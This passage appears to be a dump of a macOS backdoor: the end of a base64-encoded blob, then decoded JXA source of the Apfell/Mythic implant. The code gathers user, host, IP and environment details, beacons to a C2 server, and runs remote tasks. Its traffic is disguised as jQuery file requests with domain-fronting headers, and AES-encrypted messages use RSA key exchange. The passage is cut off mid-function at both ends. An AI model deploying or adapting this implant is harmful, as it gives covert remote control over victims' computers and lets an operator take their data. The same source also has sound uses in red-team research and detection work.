YXRjaChlcnJvcil7CiAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgInVzZXJfb3V0cHV0IjogIkVycm9yOiAiICsgZXJyb3IudG9TdHJpbmcoKSwKICAgICAgICAgICAgImNvbXBsZXRlZCI6IHRydWUsCiAgICAgICAgICAgICJzdGF0dXMiOiAiZXJyb3IiCiAgICAgICAgfTsKICAgIH0KfTsKZXhwb3J0cy5sb2FkID0gZnVuY3Rpb24odGFzaywgY29tbWFuZCwgcGFyYW1zKXsKICAgIC8vYmFzZTY0IGRlY29kZSB0aGUgcGFyYW1zIGFuZCBwYXNzIGl0IHRvIHRoZSBkZWZhdWx0X2xvYWQgY29tbWFuZAogICAgLy8gIHBhcmFtcyBzaG91bGQgYmUgeyJjbWRzIjogWyJjbWRfbmFtZTEiLCAiY21kX25hbWUyIl0sICJmaWxlX2lkIjogI30KICAgIHRyeXsKICAgICAgICBsZXQgcGFyc2VkX3BhcmFtcyA9IEpTT04ucGFyc2UocGFyYW1zKTsKICAgICAgICBsZXQgY29kZSA9IEMyLnVwbG9hZCh0YXNrLCBwYXJzZWRfcGFyYW1zWydmaWxlX2lkJ10sICIiKTsKICAgICAgICBpZih0eXBlb2YgY29kZSA9PT0gInN0cmluZyIpewogICAgICAgICAgICByZXR1cm4geyJ1c2VyX291dHB1dCI6U3RyaW5nKGNvZGUpLCAiY29tcGxldGVkIjogdHJ1ZSwgInN0YXR1cyI6ICJlcnJvciJ9OwogICAgICAgICAgICAvL3NvbWV0aGluZyBmYWlsZWQsIHdlIHNob3VsZCBoYXZlIE5TRGF0YSB0eXBlIGJhY2sKICAgICAgICB9CiAgICAgICAgbGV0IG5ld19kaWN0ID0gZGVmYXVsdF9sb2FkKGJhc2U2NF9kZWNvZGUoY29kZSkpOwogICAgICAgIGNvbW1hbmRzX2RpY3QgPSBPYmplY3QuYXNzaWduKHt9LCBjb21tYW5kc19kaWN0LCBuZXdfZGljdCk7CiAgICAgICAgLy8gdXBkYXRlIHRoZSBjb25maWcgd2l0aCBvdXIgbmV3IGluZm9ybWF0aW9uCiAgICAgICAgQzIuY29tbWFuZHMgPSBPYmplY3Qua2V5cyhjb21tYW5kc19kaWN0KTsKICAgICAgICByZXR1cm4geyJ1c2VyX291dHB1dCI6ICJMb2FkZWQgIiArIHBhcnNlZF9wYXJhbXNbJ2NtZHMnXSwgImNvbXBsZXRlZCI6IHRydWV9OwogICAgfQogICAgY2F0Y2goZXJyb3IpewogICAgICAgIC8vY29uc29sZS5sb2coImVycm9yZWQgaW4gbG9hZCBmdW5jdGlvbiIpOwogICAgICAgIHJldHVybiB7InVzZXJfb3V0cHV0IjplcnJvci50b1N0cmluZygpLCAiY29tcGxldGVkIjogdHJ1ZSwgInN0YXR1cyI6ICJlcnJvciJ9OwogICAgfQp9OwovL2NvbnNvbGUubG9nKCJhYm91dCB0byBsb2FkIGNvbW1hbmRzIik7CnZhciBjb21tYW5kc19kaWN0ID0gZXhwb3J0czsKdmFyIGpzaW1wb3J0cyA9ICIiOwoKLy8tLS0tLS0tLS0tLS0tR0VUIElQIEFORCBDSEVDS0lOIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KaWYoICQuTlNEYXRlLmRhdGUuY29tcGFyZShDMi5raWxsX2RhdGUpID09PSAkLk5TT3JkZXJlZERlc2NlbmRpbmcgKXsKICAkLk5TQXBwbGljYXRpb24uc2hhcmVkQXBwbGljYXRpb24udGVybWluYXRlKHRoaXMpOwp9CmZvcihsZXQgaT0wOyBpIDwgYXBmZWxsLmlwLmxlbmd0aDsgaSsrKXsKCWxldCBpcCA9IGFwZmVsbC5pcFtpXTsKCWlmIChpcC5pbmNsdWRlcygiLiIpICYmIGlwICE9PSAiMTI3LjAuMC4xIil7IC8vIHRoZSBpbmNsdWRlcygiLiIpIGlzIHRvIG1ha2Ugc3VyZSB3ZSdyZSBsb29raW5nIGF0IElQdjQKCQkvL2NvbnNvbGUubG9nKCJmb3VuZCBpcCwgY2hlY2tpbmcgaW4iKTsKCQlDMi5jb21tYW5kcyA9ICBPYmplY3Qua2V5cyhjb21tYW5kc19kaWN0KTsKCQlDMi5jaGVja2luKGlwLGFwZmVsbC5waWQsYXBmZWxsLnVzZXIsT2JqQy51bndyYXAoYXBmZWxsLnByb2NJbmZvLmhvc3ROYW1lKSwibWFjT1MiICsgIiAiICsgYXBmZWxsLm9zVmVyc2lvbiwgIng2NCIpOwoJCWJyZWFrOwoJfQp9Ci8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tTUFJTiBMT09QIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gc2xlZXBXYWtlVXAoKXsKICAgIHdoaWxlKHRydWUpewogICAgICAgICQuTlNUaHJlYWQuc2xlZXBGb3JUaW1lSW50ZXJ2YWwoQzIuZ2VuX3NsZWVwX3RpbWUoKSk7CiAgICAgICAgbGV0IG91dHB1dCA9ICIiOwogICAgICAgIGxldCB0YXNrID0gQzIuZ2V0VGFza2luZygpOwogICAgICAgIC8vY29uc29sZS5sb2coSlNPTi5zdHJpbmdpZnkodGFzaykpOwogICAgICAgIGxldCBjb21tYW5kID0gIiI7CiAgICAgICAgdHJ5ewogICAgICAgIAkvL2NvbnNvbGUubG9nKEpTT04uc3RyaW5naWZ5KHRhc2spKTsKICAgICAgICAJaWYodGFzay5sZW5ndGggPT09IDApewogICAgICAgIAkJY29udGludWU7CiAgICAgICAgCX0KICAgICAgICAJdGFzayA9IHRhc2tbMF07CiAgICAgICAgCS8vY29uc29sZS5sb2coSlNPTi5zdHJpbmdpZnkodGFzaykpOwogICAgICAgICAgICBjb21tYW5kID0gdGFza1siY29tbWFuZCJdOwogICAgICAgICAgICB0cnl7CiAgICAgICAgICAgICAgICBvdXRwdXQgPSBjb21tYW5kc19kaWN0W2NvbW1hbmRdKHRhc2ssIGNvbW1hbmQsIHRhc2tbJ3BhcmFtZXRlcnMnXSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2goZXJyb3IpewogICAgICAgICAgICAgICAgaWYoZXJyb3IudG9TdHJpbmcoKS5pbmNsdWRlcygiY29tbWFuZHNfZGljdFtjb21tYW5kXSBpcyBub3QgYSBmdW5jdGlvbiIpKXsKICAgICAgICAgICAgICAgICAgICBvdXRwdXQgPXsidXNlcl9vdXRwdXQiOiAiVW5rbm93biBjb21tYW5kOiAiICsgY29tbWFuZCwgInN0YXR1cyI6ICJlcnJvciIsICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgb3V0cHV0ID0geyJ1c2VyX291dHB1dCI6IGVycm9yLnRvU3RyaW5nKCksICJzdGF0dXMiOiAiZXJyb3IiLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQzIucG9zdFJlc3BvbnNlKHRhc2ssIG91dHB1dCk7CiAgICAgICAgfQogICAgICAgIGNhdGNoKGVycm9yKXsKICAgICAgICAgICAgQzIucG9zdFJlc3BvbnNlKHRhc2ssIHsidXNlcl9vdXRwdXQiOiBlcnJvci50b1N0cmluZygpLCAic3RhdHVzIjogImVycm9yIiwgImNvbXBsZXRlZCI6IHRydWV9KTsKICAgICAgICB9CiAgICAgICAgLy90YXNrWyJjb21tYW5kIl0gPSAibm9uZSI7IC8vcmVzZXQganVzdCBpbiBjYXNlIHNvbWV0aGluZyBnb2VzIHdlaXJkCiAgICB9Cn0Kc2xlZXBXYWtlVXAoKTsK"))
#################### decoded backdoor script #####################
// Created by Cody Thomas - @its_a_feature_
ObjC.import('Cocoa');
ObjC.import('Foundation'); //there by default I think, but safe to include anyway
ObjC.import('stdlib');
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
var currentApp = Application.currentApplication();
currentApp.includeStandardAdditions = true;
//--------------IMPLANT INFORMATION-----------------------------------
class agent{
constructor(){
this.procInfo = $.NSProcessInfo.processInfo;
this.hostInfo = $.NSHost.currentHost;
this.id = "";
this.user = ObjC.deepUnwrap(this.procInfo.userName);
this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
//every element in the array needs to be unwrapped
this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); //probably just need [0]
this.pid = this.procInfo.processIdentifier;
//every element in the array needs to be unwrapped
this.host = ObjC.deepUnwrap(this.hostInfo.names); //probably just need [0]
//this is a dictionary, but every 'value' needs to be unwrapped
this.environment = ObjC.deepUnwrap(this.procInfo.environment);
this.uptime = this.procInfo.systemUptime;
//every element in the array needs to be unwrapped
this.args = ObjC.deepUnwrap(this.procInfo.arguments);
this.osVersion = this.procInfo.operatingSystemVersionString.js;
this.uuid = "b82ca427-907e-4038-a2ae-a445849f6bf2";
}
}
var apfell = new agent();
//--------------Base C2 INFORMATION----------------------------------------
class baseC2{
//To create your own C2, extend this class and implement the required functions
//The main code depends on the mechanism being C2 with these functions.
// the implementation of the functions doesn't matter though
// You're welcome to add additional functions as well, but this is the minimum
constructor(interval, baseurl){
this.interval = interval; //seconds between callbacks
this.baseurl = baseurl; //where to reach out to
this.commands = [];
}
checkin(){
//check in with c2 server
}
getTasking(){
//reach out to wherever to get tasking
}
getConfig(){
//gets the current configuration for tasking
}
postResponse(task, output){
//output a response to a task
}
setConfig(params){
//updates the current configuration for how to get tasking
}
download(task, params){
//gets a file from the apfell server in some way
}
upload(task, params){
//uploads a file in some way to the teamserver
}
}
//-------------RESTFUL C2 mechanisms ---------------------------------
class customC2 extends baseC2{
constructor(interval, baseurl){
super(interval, baseurl);
this.commands = [];
this.c2_config = {
"GET": {
"ServerBody": [
{
"function": "base64",
"parameters": []
},
{
"function": "prepend",
"parameters": ["!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r"]
},
{
"function": "prepend",
"parameters": ["/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */"]
},
{
"function": "append",
"parameters": ["\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"]
}
],
"ServerHeaders": {
"Server": "Apache",
"Cache-Control": "max-age=0, no-cache",
"Pragma": "no-cache",
"Connection": "keep-alive",
"Content-Type": "application/javascript; charset=utf-8"
},
"ServerCookies": {},
"AgentMessage": [{
"urls": ["https://expertzone.microsoft.com"],
"uri": "/<test:string>",
"urlFunctions": [
{
"name": "<test:string>",
"value": "",
"transforms": [
{
"function": "choose_random",
"parameters": ["jquery-3.4.1.min.js","jquery-3.4.1.map"]
}
]
}
],
"AgentHeaders": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Host": "olympic.azureedge.net",
"Referer": "https://expertzone.microsoft.com",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15",
"X-Powered-By": "66a0fc18-c0b7-4bb9-8ae6-8cb80aa0f8e9"
},
"QueryParameters": [
{
"name": "s",
"value": "message",
"transforms": [
]
}
],
"Cookies": [
{
"name": "__session",
"value": "",
"transforms": [
{
"function": "random_alpha",
"parameters": [30]
},
{
"function": "base64",
"parameters": []
}
]
}
],
"Body": []
}]
},
"POST": {
"ServerBody": [],
"ServerCookies": {},
"ServerHeaders": {
"Server": "Apache",
"Cache-Control": "max-age=0, no-cache",
"Pragma": "no-cache",
"Connection": "keep-alive",
"Content-Type": "application/javascript; charset=utf-8"
},
"AgentMessage": [{
"urls": ["https://expertzone.microsoft.com"],
"uri": "/update.php",
"urlFunctions": [],
"QueryParameters": [
{
"name": "t",
"value": "20",
"transforms": []
}
],
"AgentHeaders": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Host": "olympic.azureedge.net",
"Referer": "https://expertzone.microsoft.com",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15",
"X-Powered-By": "66a0fc18-c0b7-4bb9-8ae6-8cb80aa0f8e9"
},
"Cookies": [
{
"name": "__session",
"value": "7aea62d5-6601-4a1d-a2a0-0a8b03910fdb",
"transforms": [
{
"function": "prepend",
"parameters": [
"uuid_"
]
}
]
}
],
"Body": [
{
"function": "base64",
"parameters": []
},
{
"function": "prepend",
"parameters": ["aGVm"]
},
{
"function": "append",
"parameters": ["Wl3g"]
}
]
}]
},
"jitter": 20,
"interval": 10,
"chunk_size": 5120000,
"key_exchange": false,
"kill_date": ""
}
;
this.get_messages = this.c2_config['GET']['AgentMessage'];
this.post_messages = this.c2_config['POST']['AgentMessage'];
this.interval = this.c2_config['interval'];
this.chunk_size = this.c2_config['chunk_size'];
this.jitter = this.c2_config['jitter'];
this.aes_psk = ""; // base64 encoded key
if(this.aes_psk !== ""){
this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
$.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
let err = Ref();
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
}
this.using_key_exchange = this.c2_config['key_exchange'];
this.exchanging_keys = this.using_key_exchange;
this.dateFormatter = $.NSDateFormatter.alloc.init;
this.dateFormatter.setDateFormat("yyyy-MM-dd");
if(this.c2_config['kill_date'] !== undefined && this.c2_config['kill_date'] !== ""){
this.kill_date = this.dateFormatter.dateFromString(this.c2_config['kill_date']);
}else{
this.kill_date = $.NSDate.distantFuture;
}
}
get_random_element(x){
return x[Math.floor(Math.random() * x.length)];
}
encrypt_message(uid, data){
// takes in the string we're about to send, encrypts it, and returns a new string
let err = Ref();
let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
//generate a random IV to use
let IV = $.NSMutableData.dataWithLength(16);
$.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
// set our data to be encrypted
let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
//$.CFShow(err[0]);
let encryptedData = $.SecTransformExecute(encrypt, err);
// now we need to prepend the IV to the encrypted data before we base64 encode and return it
//generate the hmac
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
let hmac_input = $.NSMutableData.dataWithLength(0);
hmac_input.appendData(IV);
hmac_input.appendData(encryptedData);
b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
let hmac_data = $.SecTransformExecute(hmac_transform, err);
let final_message = $.NSMutableData.dataWithLength(0);
final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
final_message.appendData(IV);
final_message.appendData(encryptedData);
final_message.appendData(hmac_data);
return final_message.base64EncodedStringWithOptions(0);
}
decrypt_message(nsdata){
//takes in a base64 encoded string to be decrypted and returned
//console.log("called decrypt");
let err = Ref();
let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
$.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
$.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
//console.log("making ranges");
//need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
let iv_range = $.NSMakeRange(0, 16);
let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
//console.log("carving out iv");
let iv = nsdata.subdataWithRange(iv_range);
$.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
let message = nsdata.subdataWithRange(message_range);
$.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
// create an hmac and verify it matches
let message_hmac = nsdata.subdataWithRange(hmac_range);
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
let hmac_data = $.SecTransformExecute(hmac_transform, err);
if(hmac_data.isEqualToData(message_hmac)){
let decryptedData = $.SecTransformExecute(decrypt, Ref());
//console.log("making a string from the message");
let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
//console.log(decrypted_message.js);
return decrypted_message;
}
else{
return undefined;
}
}
negotiate_key(){
// Generate a public/private key pair
let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
let err = Ref();
let privatekey = $.SecKeyCreateRandomKey(parameters, err);
//console.log("generated new key");
let publickey = $.SecKeyCopyPublicKey(privatekey);
let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
//$.CFShow($.CFMakeCollectable(err[0]));
try{
//this is the catalina case
let b64_exported_public = $.CFMakeCollectable(exported_public);
b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
exported_public = b64_exported_public;
}catch(error){
//this is the mojave and high sierra case
exported_public = exported_public.base64EncodedStringWithOptions(0).js;
}
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
// Encrypt our initial message with sessionID and Public key with the initial AES key
while(true){
try{
//let req = this.create_message(this.get_random_element(this.post_messages), initial_message, apfell.uuid);
//let stage1 = this.make_request(req);
let stage1 = this.make_request("POST", apfell.uuid, initial_message);
let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
// Adjust our global key information with the newly adjusted session key
try{
this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
}catch(error){
let dec_key_collectable = $.CFMakeCollectable(dec_key);
dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
this.aes_psk = dec_key_collectable;
}
//console.log(JSON.stringify(json_response));
this.parameters = $({"type": $.kSecAttrKeyTypeAES});
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
this.exchanging_keys = false;
return stage1['uuid'];
}catch(error){
//console.log("error in negotiate_key: " + error.toString());
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
}
}
}
gen_sleep_time(){
//generate a time that's this.interval += (this.interval * 1/this.jitter)
let plus_min = Math.round(Math.random());
if(plus_min === 1){
return this.interval + (this.interval * (Math.round(Math.random()*this.jitter)/100));
}else{
return this.interval - (this.interval * (Math.round(Math.random()*this.jitter)/100));
}
}
prepend(){
return arguments[1] + arguments[0];
}
r_prepend(){
return arguments[0].slice(String(arguments[1]).length);
}
append(){
return arguments[0] + arguments[1];
}
r_append(){
return arguments[0].slice(0, -1 * String(arguments[1]).length);
}
b64(){
return base64_encode(String(arguments[0]));
}
r_b64(){
return base64_decode(String(arguments[0]));
}
random_mixed(){
let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
return arguments[0] + m;
}
r_random_mixed(){
return arguments[0].slice(0, -1 * Number(arguments[1]));
}
random_number(){
let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*10)).toString(10)).join('');
return arguments[0] + m;
}
r_random_number(){
return arguments[0].slice(0, -1 * Number(arguments[1]));
}
random_alpha(){
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
let m = Array(Number(arguments[1])).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
return arguments[0] + m;
}
r_random_alpha(){
return arguments[0].slice(0, -1 * Number(arguments[1]));
}
choose_random(){
let choice = Math.floor(Math.random()* arguments[1].length);
if(choice === arguments[1].length){choice -= 1;}
return arguments[0] + arguments[1][choice];
}
r_choose_random(){
for(let i = 0; i < arguments[1].length; i++){
if(arguments[0].includes(arguments[1][i])){
return arguments[0].replace(arguments[1][i], "");
}
}
return arguments[0];
}
get_value(value, transforms){
let tmp = value;
try {
if (transforms.length > 0) {
for (let i = transforms.length - 1; i >= 0; i--) {
switch (transforms[i]['function']) {
case "base64":
tmp = this.r_b64(tmp);
break;
case "prepend":
tmp = this.r_prepend(tmp, transforms[i]['parameters']);
break;
case "append":
tmp = this.r_append(tmp, transforms[i]['parameters']);
break;
case "random_mixed":
tmp = this.r_random_mixed(tmp, transforms[i]['parameters']);
break;
case "random_number":
tmp = this.r_random_number(tmp, transforms[i]['parameters']);
break;
case "random_alpha":
tmp = this.r_random_alpha(tmp, transforms[i]['parameters']);
break;
case "choose_random":
tmp = this.r_choose_random(tmp, transforms[i]['parameters']);
}
}
}
return tmp;
}catch(error){
return "";
}
}
retrieve_message(response, method="POST"){
let data = this.get_value(($.NSString.alloc.initWithDataEncoding(response, $.NSUTF8StringEncoding)).js, this.c2_config[method]['ServerBody']);
//console.log("in retrieve_message, returning: " + data);
return data;
}
create_value(value, transforms){
for(let i = 0; i < transforms.length; i++){
switch(transforms[i]['function']){
case "base64":
value = this.b64(value);
break;
case "prepend":
value = this.prepend(value, transforms[i]['parameters']);
break;
case "append":
value = this.append(value, transforms[i]['parameters']);
break;
case "random_mixed":
value = this.random_mixed(value, transforms[i]['parameters']);
break;
case "random_number":
value = this.random_number(value, transforms[i]['parameters']);
break;
case "random_alpha":
value = this.random_alpha(value, transforms[i]['parameters']);
break;
case "choose_random":
value = this.choose_random(value, transforms[i]['parameters']);
}
}
return value;
}
create_message(endpoint, data, agent_id=apfell.id, method="POST"){
if(this.aes_psk !== ""){
data = this.encrypt_message(agent_id, JSON.stringify(data)).js;
}else if(typeof(sendData) === "string"){
data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
data = data.base64EncodedStringWithOptions(0);
}else{
data = $(agent_id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
data = data.base64EncodedStringWithOptions(0).js;
}
let base_url = this.get_random_element(endpoint['urls']);
let base_uri = endpoint['uri'];
for(let i in endpoint['urlFunctions']){
let value = endpoint['urlFunctions'][i]['value'];
if(value === undefined){value = "";}
if(value === "message"){value = data;}
value = this.create_value(value, endpoint['urlFunctions'][i]['transforms']);
